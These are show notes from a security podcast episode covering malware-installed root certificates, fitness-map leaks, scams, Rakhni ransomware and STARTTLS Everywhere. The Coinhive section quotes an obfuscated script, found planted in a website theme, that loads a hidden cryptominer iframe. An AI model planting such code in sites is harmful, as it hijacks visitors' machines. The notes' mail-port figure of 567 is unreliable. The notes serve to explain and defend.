Security Now! #671 - 07-10-18

STARTTLS Everywhere

This week on Security Now!

This week we discuss another worrisome trend in malware, another fitness tracking mapping incident and mistake, something to warn our friends and family to ignore, the value of periodically auditing previously-granted web app permissions, when malware gets picky about the machines it infects, another kinda-well-meaning Coinhive service gets abused, what are the implications of D-Link losing control of its code signing cert?, some good news about Android apps, iOS v11.4.1 introduces "USB Restricted Mode"... but is it?, a public service reminder about the need to wipe old thumb drives and memory cards, what about those free USB fans that were handed out at the recent North Korea / US summit?... and then we take a look at eMail's STARTTLS system and the EFF's latest initiative to increase its usefulness and security.

Free, Chinese made USB Fans handed out during the recent North Korea / US political summit... What could possibly go wrong?

Security News

ArsTechnica: "Rash of Fortnite cheaters infected by malware that breaks HTTPS encryption"
https://arstechnica.com/information-technology/2018/07/rash-of-fortnite-cheaters-infected-by-malware-that-breaks-https-encryption/

At least 78,000 Fortnite players have been infected by malware that hijacks encrypted Web sessions so it can inject fraudulent ads into every website a user visits.

"Rainway" (https://rainway.io/) is a recent video game streaming service that allows users to run games on their PC and play them on other devices over an internet connection. So... sort of like remote desktop for gaming and similar to PlayStation Now. Rainway's beta went live at the end of January, 2018.

Rainway engineers first detected the infections of their users last week when server logs began reporting hundreds of thousands of errors. The errors were the result of ads that had somehow been injected into user traffic. Since Rainway uses whitelisting filtering to permit its customers to connect only to approved URLs, those connection attempts were being caught and blocked. The fraudulent content—unwittingly being hosted on the adtelligent.com and springserve.com domains—along with unauthorized JavaScript that accompanied them, strongly suggested that the traffic was being generated by malware infecting a large number of Fortnite players who were chosing to use the Rainway service. Rainway is a cloud-based service that lets people play PC games remotely, similar to PlayStation Now.

Rainway examined the profiles of the affected users looking for any common threads. They didn’t share any hardware, their ISPs were different, and all of their systems were up to date. However, one thing did stand out—they were all playing Fortnite.

Suspecting that the malware might be spread by one of the countless Fortnite cheating hacks available online which promise to give users an unfair advantage over other players, the clever Rainway researchers downloaded hundreds of hacks looking for references to the rogue URLs. The researchers eventually found the culprit: An add-on that promised to allow users to generate free in-game currency called V-Bucks. And also promising to equip users with an “aimbot” which would automatically aim the player's gun at opponents without any need for precision by the player.

When the researchers ran the add-on in a virtual machine, they discovered that it installed a self-signed root certificate that could perform a man-in-the-middle attack on every HTTPS website the user visited. And it was, indeed, altering the pages on-the-fly of all web requests, adding tags for the Adtelligent advertising platform.

The the Rainway guys reported the rogue malware to the service provider who was hosting it. The service provider immediately removed the malware, reporting that it had been downloaded 78,000 times. At the time of its reporting the malware had generated 381,000 interception errors in Rainway’s logs.

The researchers reported their discovery of advertising abuse to Adtelligent and Springserve who identified and pulled the ads from their platforms.

ArsTechnica's Dan Goodin, for his coverage of this, reached out to Epic Games, the maker of Fortnite, but they declined to comment.

So what's our Security Now! takeaway from this story?

First: A "Self-Signed" root certificate =IS= a certificate authority (CA) root certificate. The idea is that any certificate which exists in the system's root store is inherently trusted, and more importanly, that any 3rd-party certificates signed by any of the certificates in the root store are also trusted.

Once upon a time, the idea of anything modifying our system's root store was somewhat exotic. Corporate TLS-intercepting and filtering "middleboxes" were annoying because they insisted upon installing their own trusted root certificate into every corporate machine operating inside the protected network.

But the fact that malware is now dropping its own HTTPS-intercepting root certs into the machines it lands on and infects -- so that it can inject ads into web pages -- moves the alteration of our root certificate stores into the mainstream... And is quite worrisome.

We have watched many trends form and grow here over the years, and it's looking like root certificate installation will be becoming increasingly common. In the past we've talked about tools for auditing our system's root certificate stores. The use of such tools is going to become more important.

More privacy leakage from fitness tracking...

As our listeners will recall, we previously reported that globally posted fitness tracking data was inadvertently disclosing "off the map" military bases by literally putting them on the map. Back in January, a privacy scandal affected the Strava fitness tracking app, which published an activity map which allowed journalists, using the Strava map, to expose the locations of several military bases, some which were unknown prior to the Strava exposure.

Now, investigations carried out by reporters from Dutch newspaper DeCorrespondent and online investigations group Bellingcat have found more, and have caused Polar to suspend its global activity map feature.

These two groups of reporters discovered that Polar Flow, one of Polar's apps, was allowing anyone access to a feature called Explore, which is an activity map. Data exposed on this map included a user's past activity, such as running or biking routes, but also the user's personal details such as heart rate, physical attributes, and more.

While other fitness apps have released activity maps in the past —for showing popular running, hiking, or biking paths— Polar made the mistake of exposing the username and personal details

of each user for each individual activity/route. And then… The reporters tracked down the real-world identities of specific intelligence and military personnel.

The journalists used this feature to search the map for the location of known military bases and intelligence agencies' headquarters and training grounds, identifying persons who recorded fitness activity history at those locations.

In several cases, researchers were able to identify usernames that led back to real-world identities either because military and intelligence agents used their real name for the Polar app, or because they re-used usernames they used somewhere else online.

In addition, the same accounts running jogging routes at military bases also contained jogging and biking routes in other locations, exposing what looked to be that user's home address

In response to these revelations, Polar has temporarily disabled its global activity map feature.

Though Polar **did** seek to clarify that the Polar Flow app does not expose the user's activity and username by default. Polar said these details are shared only based on an opt-in system, and the data exposed via its activity map was willingly shared by only some of its users, with the majority of user data remaining private. So some of the responsibility for personal data leakage falls to its users.

This isn't a criticism of tracking apps or the tracking concept... though we've previously seen that the temptation to post crowdsourced tracking data can be misused. In this case, Polar made a mistake of not anonymizing the data it was sharing and also of presumably allowing users to selectively deanonymize themselves without fully appreciating the implications. But I think that the burden falls on Polar since they are offering a privacy-threatening service. Users should be able to see their own data, but only the entirely anonymous data of others when some sharing is desired.

A clever hack tricks users into panicking and believing a spoofed browser warning
What could a malicious hacker do with the ability to completely freeze a user's web browser UI?

It turns out that browser freezing is “a thing” which is often used to frighten people into believing some nonsense about their computers being infected and "their computer is being locked" and to please phone the following toll-free number to receive [typically] Microsoft technical support. This is part of a scam which winds up with the scammers talking the victim out of their credit card info in order to pay to have their machine's unfrozen.

Back in February, MalwareBytes described a scam using a new technique for locking up Chrome. The cross-browser WEB API has a function "window.navigator.msSaveOrOpenBlob" which provides for locally storing and retrieving "blobs" -- files. But this is an asynchronous operation which takes the OS significantly longer to achieve than it takes JavaScript to request. So when it's placed into a tight loop, the blob save requests quickly become backlogged and the OS becomes backed up with work pinning the system's CPU at 100% utilization, and the browser's UI becomes completely unresponsive.

But, just before launching this logjam attack, the malicious JavaScript puts up a warning explaining that their ISP has blocked their PC due to its infection... they need to pay, and so on.

Users might be inclined to ignore or distrust this message and just close the window as more Internet nonsense, but for the fact that their browser is then also frozen and completely unresponsive and cannot even be terminated.

Back in February, Chrome fixed the problem, which also affects Firefox and other non-Microsoft browsers including Opera, Vivaldi and Brave. According to a page on Google's Chromium bug tracker, the underlying bug was fixed with the release of Chrome version 65 in mid February. But an update posted last month notes that the bug resurfaced with the release of Chrome 67 and is once again being actively exploited. Later updates in the same thread showed that other users were also experiencing browser freezes.

Our audience almost certainly knows better than to be fooled by this, but we might all have some friends or family who might get tripped up. I know I do. So, since this, too, has become a common scam, it might be worth taking a moment the next time you're holding court to warn other about this and remind them not to believe anything that any suspicious web page displays... Even when it also seems capable of temporarily locking up one's machine.

Windows users can press Ctrl-Alt-Del and then select Task Manager to manually close the browser processes and MacOS users have the "Force Quit" feature.

Reminder: Third Party Gmail Apps Can Read Your Emails, "Allow" Carefully!
https://thehackernews.com/2018/07/google-gmail-apps.html

The Wall Street Journal's article is tucked behind a paywall, but their story is titled: "Tech's 'Dirty Secret': The App Developers Sifting Through Your Gmail" with the sub-heading: "Software developers scan hundreds of millions of emails of users who sign up for email-based services"

The WSJ's coverage begins:
Google said a year ago it would stop its computers from scanning the inboxes of Gmail users for information to personalize advertisements, saying it wanted users to "remain confident that Google will keep privacy and security paramount."

But the internet giant continues to let hundreds of outside software developers scan the inboxes of millions of Gmail users who signed up for email-based services offering shopping price comparisons, automated travel-itinerary planners or other tools. Google does little to police those developers,...

https://myaccount.google.com/permissions

Periodic auditing of security permissions is =always= a good idea. I checked, and in my case only Google Chrome had "full account access." A bunch of things had "Sign in the Google" permission. iAnnotate (by FAR my favorite PDF reading application for iOS) had access to Google drive, and YouTube TV had access to YouTube.

But, in "The Hacker News"s coverage of this, they provided an example of an app called "SaneBox" which is a Google mail inbox management tool. You can imagine that it will need to and will have full access. So things of that sort do exist.

So, yeah… it would be worthwhile for our listeners to take a moment to see whether they have left unneeded access granted to any apps or services they are no longer using.

Malware determines whether your computer would be best abused for mining or ransomware...

Kaspersky Labs discovered a new variant of Rakhni ransomware which has been upgraded to include cryptocurrency mining capabilities too. But the malware faces the dilemma that mining cryptocurrency and encrypting all of the computer's valuable files are mutually exclusive. It cannot do both. So what's a malicious infection to do? It takes a look around to decide:

After first performing anti-VM and anti-sandbox checks to decide if it could infect the system without being caught, it performs some checks to decide what to do next...

If the target system has a 'Bitcoin' folder in the AppData section it figures that the system's owner may have something to lose from encryption, so it installs Ransomware to take the user's wallet and everything else. It terminates all processes that might have files locked or that might stop it, then encrypts the user's files and displays a ransom note in a text file.

However, if a 'Bitcoin' folder doesn't exist and the machine is a bit beefier with more than two logical processors (meaning more than a single hyper-threaded core) it decides that it's worthwhile to do some mining there, so it installs a cryptocurrency miner. It uses

If the system gets infected with a cryptocurrency miner, it uses the MinerGate utility and server to mine Monero (XMR), Monero Original (XMO) and Dashcoin (DSH) cryptocurrencies in the background. MinerGate describes itself as: "... a mining pool created by a group of cryptocoin enthusiasts. It is the first pool which provides service for merged mining. This means that while mining on our pool you can mine different coins simultaneously without decrease of hashrate for major coin."

And while it's at it, the Rakhni malware uses the Windows CertMgr.exe utility to install fake root certificates that claim to have been issued by Microsoft and Adobe in an attempt to disguise the miner as a trusted process. (As I said earlier... We're entering an era of malicious certificate installations.)

And, if neither of the above pertain, if there's no "Bitcoin" folder and only one processor, the malware switches into "worm mode" to help the malware copy itself to all other computers located in the local network using shared resources. Whenever possible the malware copies itself into the folder \AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup of each accessible user... Where the malware will be started at the next system restart.

And independent of which infection mode is chosen, the malware checks to see whether a known 3rd-party antivirus process is running. If no AV process is found in the system, the malware will run several commands in an attempt to shutdown Windows Defender.

So... Why blindly be *only* a cryptocurrency miner or *only* a ransomware malware or *only* a worm... when you can survey the territory and choose which action best meets your nefarious ends?

Another Coinhive service gets hacked: A link shortener incorporating a proof-of-work.

Link shorteners are nice. As we know, they allow a longer and annoying link to be condensed into a short reference to the original stored link… though by deliberately obscuring the referred-to URL they can be abused. And, as with Bit.ly, they are normally, or nominally, a free service.

But the Coinhive folks are nothing if not innovative. Why pass up the opportunity to mint a little bit of coin while providing this otherwise free service?

As Coinhive states:

"If you have a URL you'd like to forward your users to, you can create a cnhv.co short link to it. The user has to solve a number of hashes (adjustable by you) and is automatically forwarded to the target URL afterwards."

So Coinhive allows those wishing to make some money from others who wish to following their links to require a "Proof of Work" from their browser for the privilege. When the redirecting link is clicked, the link following user is first taken to a page explaining that some "Proof of work" needs to be performed before they can proceed. A [slow-]moving progress bar creeps slowly from left to right as their machine cranks out a predetermined number of coin hashes. One that "Proof of Work" is accomplished, the redirect continues to take them to their destination page.

Given the history of Coinhive, this is an interesting twist and compromise. No one can accuse them of doing something behind the browser's or its user's back. And there's arguably some value received for the time spent: If the user wants badly enough to follow the link, they can wait a bit to pay the troll for the right to cross the bridge.

However, as with Coinhive's previous offerings, it didn't take malicious hackers long to work out how to abuse this and turn this into a scam.

Luke Leal of Sucuri blogged about this in May and provided some additional detail:
https://blog.sucuri.net/2018/05/cryptomining-through-disguised-url-shorteners.html

Unfortunately, in practice the URL shortener service is also being abused, as shown by the following new obfuscated sample we have encountered in a client's theme file:

```
1  document.write(unescape('%3c%69%66 %72%61%6d%65%20%73%72 %63%3d%22%68%74%74%70%
   73%3a%2f %2f%63%6e%68 %76%2e%63%6f%2f[redacted]%22%20%77%69%64%74%68%3d%22%31%2
   2%20%68%65%69%67%68%74%3d%22%31%22%20%61%6c%69%67%6e%3d%22%6c%65%66%74%22%3e%0a
   %20%3c%2f%69%66%72%61%6d%65%3e'));
```

It’s easier to read once you’ve converted the hexadecimal string within the JavaScript unescape function:

```
<iframe src="https://cnhv .co/[redacted]" width="1" height="1" align="left">
</iframe>
```

And the iFrame that this loads contains JavaScript which invokes the same old Coinhive miner:

```
<script type="text/javascript" src="https://coinhive.com/lib/coinhive.min.js">
</script>
```

The URL shortener is loaded through an iFrame that is purposely set to a size of 1×1, so visually noticing it on a web page will be quite difficult. Furthermore, the usage of the cnhv[.]co shortened URL in an iFrame allows it to be automatically loaded alongside the rest of the web page instead of requiring the visitor to perform an action like clicking on a URL hyperlink, which is the expected use of the service.

At the time of this podcast 9 of 67 websites list this URL as dangerous. More are sure to follow.

https://www.virustotal.com/#/url/1be771aa13e33792de40676403c06a0ae8c874eed465b424c3b7bb2bde7bfb60/detection

(Recall from last week's discussion of VirusTotal that it's also able to check URLs in addition to uploaded malware files.)

D-Link loses control of its own code signing certificate...

Security researchers from ESET have recently identified two malware families, previously associated with cyberespionage group BlackTech, that have been signed using valid digital certificates belonging to D-Link and another reputable Taiwanese manufacturer "Changing Information Technology".

The first malware, dubbed Plead, is a remotely controlled backdoor designed to steal confidential documents and spy on users. The second malware is a password stealer designed to collect saved passwords from Google Chrome, Microsoft Internet Explorer, Microsoft Outlook, and Mozilla Firefox.

Researchers notified both D-link and Changing Information Technology about the issue, and the companies revoked the compromised digital certificates on July 3 and July 4, 2018, respectively.

However, as we know, certificate revocation relies upon the entity trusting the certificate's identity assertion to deliberately and continuously check with the certificate's issuer and signer to reverify the certificate's present real-time validity... which rarely occurs in practice. And, indeed, most antivirus software does not bother to check the certificate's validity. Consequently, the BlackTech hackers are still using the same certificates to sign their malicious tools.

The D-Link certificate was issued by Symantec on September 29th, 2016 and it is valid for more than a year from now, until September 30th, 2019. After this date NEW signings under this certificate will no longer be validated by the operating system... But since the current certificates have been countersigned with a timestamp during the certificate's period of validity, EXISTING software signed by this certificate will continue to be trusted. Therefore, the only recourse for the industry will be for Microsoft Windows and all responsible A/V vendors to blacklist the certificate's thumbprint so that any software, benign or malicious, signed after the certificate's date of escape from D-Link, will no longer be trusted on sight.

And now for some good news about Android apps:
Academic researchers from Northwestern University and the University of California, Santa Barbara, analyzed the behavior of popular (not obscure) Android apps available on the official Google Play Store, from AppChina, from Mi.com, and from the Anzhi portal.

Their thorough study of these 17,260 Android apps (mostly all from the Google Play store) reveals that while some apps may accidentally take screenshots of the user's screen and upload it online, there is no evidence to suggest that apps are secretly turning a phone's microphone or camera on to spy on device owners behind their backs.

The researchers analyzed each app's code and behavior to detect:

1. what and how many apps request the permission to access a phone's camera and microphone;

2. what apps include code that calls API functions specific to multimedia collection (code that calls to the Audio API, the Camera API, or the Screen Capture API);

3. and whether these API references (if they are present) are in code from the app's developer or in a third-party library embedded inside the app.

The researchers found that a great many apps request permissions to access multimedia resources in general, but that only a small fraction actually call methods that use those permissions.

The researchers wrote: "This inconsistency increases the potential privacy risks for users: previously unused permissions could be exploited by new third-party code that a developer includes in an app. Further, third-party code that does not have permissions to use multimedia in one version of an app may start exploiting any permissions granted to a future version of the app for an unrelated purpose."

From the 17,260 apps they analyzed, the research team says it only found 21 that recorded and sent out multimedia data via their network connection. So... Not none. Of those 21, 12 apps leaked data either by sending the information in plaintext (HTTP) or by coding errors that took screenshots of the user's screen and uploaded it online and the other 9 leaks were instances where the app uploaded images to cloud servers for editing purposes but did not specifically disclose this to users (so... still considered a leak).

But the Northwestern and UC Santa Barbara researchers warned of the increased use of third-party library code. In their research paper they explain that significant risk comes from third-party libraries which often abuse the permissions an app obtains from its users. They wrote: "We find a previously unreported privacy risk from third-party libraries. Namely, they can record the screen from the app in which they are embedded without requiring any permissions. Apps often display sensitive information, so this exposes users to stealthy, undisclosed monitoring by third parties."

The team says it disclosed these leaks to the developers of the leaky apps and to the Android team, so Android devs can improve the OS' design in regards to third-party libraries accessing features for which the host app did not obtain permission.

Panoptispy: Characterizing Audio and Video Exfiltration from Android Applications.
https://recon.meddle.mobi/papers/panoptispy18pets.pdf

iOS v11.4.1 - Introduces USB Restricted Mode
This was a feature which first appeared in the iOS 12 beta. By shutting down access to USB accessories while the phone is locked, it becomes much more difficult for anyone, including authorities, to break into the iPhone through its Lightning port.

There's now a switch labeled "USB Accessories" in the "Allow access when locked" section of the Face ID or Touch ID & Passcode section of the Settings app. After upgrading to v11.4.1 that new switch will be -off- by default. Its caption explains: Unlock iPhone to allow USB accessories to connect when it has been more than an hour since your iPhone was unlocked.

However, almost immediately after the upgrade, Elcomsoft discovered, confirmed and blogged in detail about a workaround which, due to the secure handshaking required to establish a Lightning connection, might be an oversight and mistake on Apple's part (which seems unlikely), or a necessary compromise.

https://blog.elcomsoft.com/2018/07/this-9-device-can-defeat-ios-usb-restricted-mode/

<<BLOG>> The most spoken thing about iOS 11.4.1 is undoubtedly USB Restricted Mode. This highly controversial feature is apparently built in response to threats created by passcode cracking solutions such as those made by Cellerbrite and Grayshift. On unmanaged devices, the new default behavior is to disable data connectivity of the Lightning connector after one hour since the device was last unlocked, or one hour since the device has been disconnected from a trusted USB accessory. In addition, users can quickly disable the USB port manually by following the S.O.S. mode routine.

Once USB Restricted Mode is engaged on a device, no data communications occur over the Lightning port. A connected computer or accessory will not detect a “smart” device. If anything, an iPhone in USB Restricted Mode acts as a dumb battery pack: in can be charged, but cannot be identified as a smart device. This effectively blocks forensic tools from being able to crack passcodes if the iPhone spent more than one hour locked. Since law enforcement needs time (more than one hour) to transport the seized device to a lab, and then more time to obtain an extraction warrant, USB Restricted Mode seems well designed to block this scenario. Or is it?

[They write…] We performed several tests, and can now confirm that USB Restricted Mode is maintained through reboots, and persists software restores via Recovery mode. In other words, we have found no obvious way to break USB Restricted Mode once it is already engaged. However, we discovered a workaround, which happens to work exactly as we suggested back in May... <</BLOG>>

They report that if =any= lightning device is plugged into a locked iPhone any time =before= the 60-minute timer has expired, whether or not the device is known to and trusted by the iPhone, the lock countdown timer will be restarted for another 60 minutes. And this can continue indefinitely.

<<BLOG Conclusion>> We've seen rumors about GrayKey being able to defeat protection provided by USB Restricted Mode. At this point, these are nothing more than just rumors; the company's official policy is never issuing comments about pre-release software. With iOS 11.4.1 just released, we'll have to wait to see if the new security measure can be defeated. Either way, since iOS 11.4, the speed of GrayKey (and probably its competitors) is limited to slow recovery rates of one passcode every 10 minutes. While this allows breaking 4-digit passcodes in reasonable time (about two months worst-case scenario), 6-digit passcodes already make little sense to attack unless one has a custom dictionary, and 6 digits is the default length for the passcode suggested by iOS.

NOTE: To immediately activate this USB Restricted Mode feature on an iOS device before the countdown timer ends a phone's "Emergency SOS" feature can be triggered: Rapidly press and release the power/sleep button five times to bring up the SOS slider, press the Power button five times.

A public service reminder about securely wiping discarded memory cards:
As we all know by now, ever since Peter Norton made a name for himself with his famous UnDelete utility, deleting files doesn't remove them... and neither does reformatting them.

Bleeping Computer reported on a recent study conducted by researchers at the University of Hertfordshire in the UK. They found that nearly 2/3rds of solid state memory cards purchased second hand from eBay, auctions, second-hand shops and other sources over a 4-month period contained realily recoverable data.

The researchers wrote that the memory cards they recovered were previously used in smartphones and tablets, cameras, SatNav systems, and even drones. To perform the recovery they first imaged the storage to create a bit-by-bit copy. Then they used freely available software to see if they could recover any data from the card. The team recovered a great deal of data from the memory cards, including intimate photos, selfies, passport copies, contact lists, navigation files, pornography, resumes, browsing history, identification numbers, and personal documents.

- 36 were not wiped at all, neither the original owner nor the seller took any steps to remove the data.

- 29 appeared to have been formatted, but data could still be recovered "with minimal effort."

- 2 cards had their data deleted, but it was easily recoverable

- 25 appeared to have been properly wiped using a data erasing tool that overwrites the storage area, so nothing could be recovered.

- 4 were dead and could not be accessed (read: were broken)

- 4 had no data present, but the reason could not be determined

GRC development path:
- SpinRite v6.x - super speed.
- "Beyond Recall" will leverage SpinRite 6.x's brand new screaming-speed technology.
- SpinRite v7 will blow away all previous data recovery tools.

"USB Fans Handed Out at Trump-Kim Summit Deemed Harmless"
Bleeping Computer had another story whose headline caught my eye.
It seems that cute little USB-powered personal fans -- manufactured in China -- were handed out during the recent, June 12th, North Korea / United States political summit.

Not surprisingly, the possibility that the USB fans, being USB devices, might contain malware was on the minds of those responsible for security.

Two of the fans were later obtained by researchers from journalists who were present. Looking inside, they found nothing other than fan motors hooked to the USB's 5-volt power and ground lines. The data lines had no connections to them, so nothing "smart" that might get up to some mischief.

However, the security researchers noted that a few "smart fans" might STILL have been used in targeted attacks against specific individuals with the rest being benign decoys.

Overall, USB, when used without a USB Condom, is =always= too dangerous. Anyone travelling, especially anyone who might be targeted, should always use protection... or better yet, simply abstain while on the road.

SpinRite

Eric Theriault in Quebec, Canada
Subject: SpinRite & RAID6 - how to, please help!
Date: 10 Jul 2018 08:16:39
:
Hi Steve, Leo, Su, Greg and Elaine, :)

I have a home server set up on a RAID level 6 (5 disks of 2 TB). This computer is always on and multiple services are depending of it. I can easily shut down and reboot if it's for a short period but I would prefer not longer than 30 to 60 minutes. Worst case would be to shut down during the night.

My question:

How (if there's a way) can I do SpinRite Maintenance on 5 disks without having to shut down the computer for a week?

I could do a "hot unplug" 1 disk at a time and SpinRite it on another computer but if my understanding is right, this would be useless because it would then make the data on that disk irrelevant and when I would reconnect the drive, the software RAID would have to rebuild all the data on the reinserted drive because the data in the still active 4 disks would, of course, have changed.

Please share (as usual) any good practice for this kind of configuration on or off the podcast, up to you.

FYI - This is a software RAID on Linux using MDADM.

Oh! By the way, I got in the show first back in July 2017 and after 3 months, decided to go back from the beginning! I'm now up to the 217th episode and, of course, up to date since July last year!

Keep going with that amazing podcast, I learn so much every week, thank you so much!

STARTTLS Everywhere

Once upon a time, just like the Web and HTTP, eMail was all plaintext.

With the Web, we have a direct point-to-point real-time link between a user's web browser and the remote web server the user is visiting. This made it a relatively simple thing to allow the remote web server to assert its identity and for the user's web browsing client to verify that identity.

But eMail has always been different. For one thing, it is designed to be a non-real-time, asynchronous, best effort, store and forward system where autonomous SMTP servers receive and forward eMail toward its destination. In that sense eMail's "store and forward" is a bit like the Internet router's "receive and route" function where the exact path is not known and a best effort is made to move the data to its destination.

There were originally two eMail protocols: POP and SMTP.

POP (Post Office Protocol) is the protocol used by eMail clients to receive eMail from servers (from their post office). The clients would connect to their eMail server over port 110 and ask for any eMail that had arrived since their last check-in. Typically they would receive then delete the eMail from the server. So the eMail took its final “hop” to them and arrived.

Later, IMAP (the Internet Message Access Protocol), operating over port 143 allowed clients to retain their eMail on the server and manage it remotely through their client, which became more of a viewer of their eMail on the server.

SMTP (Simple Mail Transfer Protocol) is the incoming eMail service and protocol offered by servers on port 25. This is the way they accept connections both from either eMail clients or from other servers and then either hold onto those messages if that server is the email’s destination, or forward the mail to another server… over port 25.

And for the longest time this was all done with simple unencrypted plaintext. Even today, with eMail hopping around all over the place, end-to-end encryption is far from guaranteed.

So, how do we fix this?

Just as the first web browsers originally connected without authentication and encryption to a web server's port 80, a different port (443) was defined for authenticated and encrypted connections with SSL and now TLS.

The same thing has occurred with the three original eMail protocols.

Original POP uses port 110 , but newer implicit SSL/TLS encrypted POP uses port 995.
Original IMAP uses port 143, but newer implicit SSL/TLS encrypted IMAP uses port 993.
and original SMTP uses port 25, but implicit SSL/TLS encrypted SMTP uses port 465.

However, the Internet wizards disliked the idea that port 25 and now 465 was being used for both eMail forwarding between MTAs (message transfer agents) and also for eMail submission by eMail clients. So they further complicated things by attempting to split the submission and forwarding roles by creating another SMTP port 567 for eMail clients to use. This is defined as a plaintext port which can be upgraded by STARTTLS (which we'll get to in a second.) And, believe it or not, after adding port 567, earlier this year the decision was made to discourage the use of port 567 for eMail client submission in favor of returning to using SMTP over TLS port 465 and sharing that single eMail submission port between clients and servers.

So what about these new secure ports? That’s the good news:

Our existing well-proven CA-issued server domain certificates work with the new TLS ports just as they do with HTTPS. When the client connects to an eMail server at a domain over one of the new TLS-only ports, they receive and can verify the identity of the server and then proceed to negotiate a secure link.

It's worth noting, however, that this is still not the same as end-to-end encryption since any intermediate SMTP servers through which the eMail may travel will be like an authorized man-in-the-middle. Each link will be secure, but the eMail will be unprotected and unencrypted while it's passing through any intermediate servers.

So...

We've more or less settled upon a good solution for keeping eMail encrypted in transit, at least between hops, if any. But before this happened, more than 20 years ago, a much less solid hack was proposed for reusing the existing insecure ports by allowing the connection-accepting server to indicate that it understands an extension to the original eMail protocols known as STARTTLS. If the connecting client does too, they will agree to upgrade their communications.

Today, it kinda works (but not very well)... And if we have learned anything through the years of this podcast it's that things that kinda work, even if not very well (like certificate revocation just to pick one) are notoriously difficult to move past and abandon.

As its name suggests, STARTTTLS provides a means for an insecure plaintext connection to... start using TLS. According to Google's Email Transparency Report, and thanks to multiple efforts over the years, the use of effective STARTTLS encryption currently sits as high as 89% of all connections, which is a big improvement from 39% just five years ago... except, not really...

Paraphrasing from the EFF:

Although many mailservers enable STARTTLS, most still do not validate certificates. Without certificate validation, an active attacker on the network can read and even modify emails sent through supposedly “secure” connections. Since it’s not common practice to validate certificates, there’s often little incentive to present valid certificates in the first place. No one cares. A brief experiment on Censys shows that about half of the mailservers that support STARTTLS simply use self-signed certificates. And no one wants to be the first to enforce validation since that would break incoming eMail.

On the web, when browsers encounter certificate errors, these errors can be and are immediately communicated to the end user, who can then decide whether to continue to the insecure site. With email, this is not an option, since an email user's client, like Thunderbird or the Gmail app on a user's phone, runs separately from the machine responsible for actually sending the mail. Since breakage means the email simply won't send, the email ecosystem is naturally more risk-averse than the browser ecosystem when it comes to breakages.

As a result, the ecosystem is stuck with a sort of chicken-and-egg problem: no one validates certificates because the other party often doesn't have a valid one, and the long tail of mailservers continue to use invalid certificates because no one is validating them anyway.

And there's more...

Let's imagine a future where everyone DID have STARTTLS enabled and DID have a valid certificate. So now it becomes safe for everyone to validate certificates and insist upon validation. What could go wrong?

The classic security downgrade attack: Both communicating mailservers support STARTTLS, and their initially insecure connection is opportunistically upgraded to a secure one. In order to make that upgrade, the two mailservers ask each other if they support STARTTLS. Since this initial negotiation is unencrypted, active (not passive) network attackers can intercept and alter these messages to make it appear that neither server supports STARTTLS... which causes any emails to be sent unencrypted. And this is not just a theoretical concern. U.S. ISPs, and those abroad, have been caught doing exactly this, and in 2014, several researchers found that encryption on outbound email from several countries was being regularly stripped.

Great DANE?

The EFF also notes that DANE (DNS-based Authentication of Named Entities) COULD solve this problem completely. Consistent and full DANE deployment would offer a scalable solution for mailservers to clarify certificate validation rules and prevent downgrade attacks. But DANE requires DNSSEC for securing DNS and DNSSEC deployment has stagnated for the past five years, stuck at somewhere between 10% and 15% worldwide.

So... fresh off their success with Let's Encrypt, the EFF has set itself three worthy goals to improve the current sad state of affairs:

First: Improve STARTTLS adoption.

They want to make it easy to deploy STARTTLS with valid certificates on mailservers. So they're developing Certbot plugins for popular mailserver software, starting with Postfix, to make this a reality. They are soliciting testing and feedback for their first Certbot for Postfix. This first work will be followed up by support for the Dovecot and Sendmail servers. And they welcome contributions of installer plugins for other MTAs!

Second: Prevent STARTTLS downgrade attacks.

In order to detect downgrade attacks, they're hosting a webserver policy list of mailservers known to support STARTTLS. This list will act as a preload list of mailserver security policies. The list already includes a number of big-player email domains, like Gmail, Yahoo, and Outlook... and they are actively seeking more. Use of the list will require mailservers to become "list aware", but without this STARTTLS will always be susceptible to downgrade attack.

Third: Lower the barriers to entry for running a secure mailserver.

They write: Email was designed as a federated and decentralized communication protocol. Since then, the ecosystem has centralized dramatically, and it has become exponentially more difficult to run your own mailserver. The complexity of running an email service is compounded by the anti-spam arms race that small mail operators are thrust into. At the very least, we'd like to lower the barriers to entry for running a functional, secure mailserver.

Beyond developing and testing Certbot plugins for popular MTAs, we're still brainstorming ideas to decentralize the email ecosystem. If you work on easy-to-deploy MTA software, let's get in touch.

You can help, too!

They write: All of our software packages are currently in a developer beta state, and our team is stretched thin working on all of these projects. You can help make the email ecosystem more secure by:

- Preloading your email domain on our policy list
- Contributing to or reporting feature requests to STARTTLS Everywhere
- Helping implement and promote security features, like MTA-STS or DANE validation, in MTA software
- Contributing certificate installer plugins for MTAs to Certbot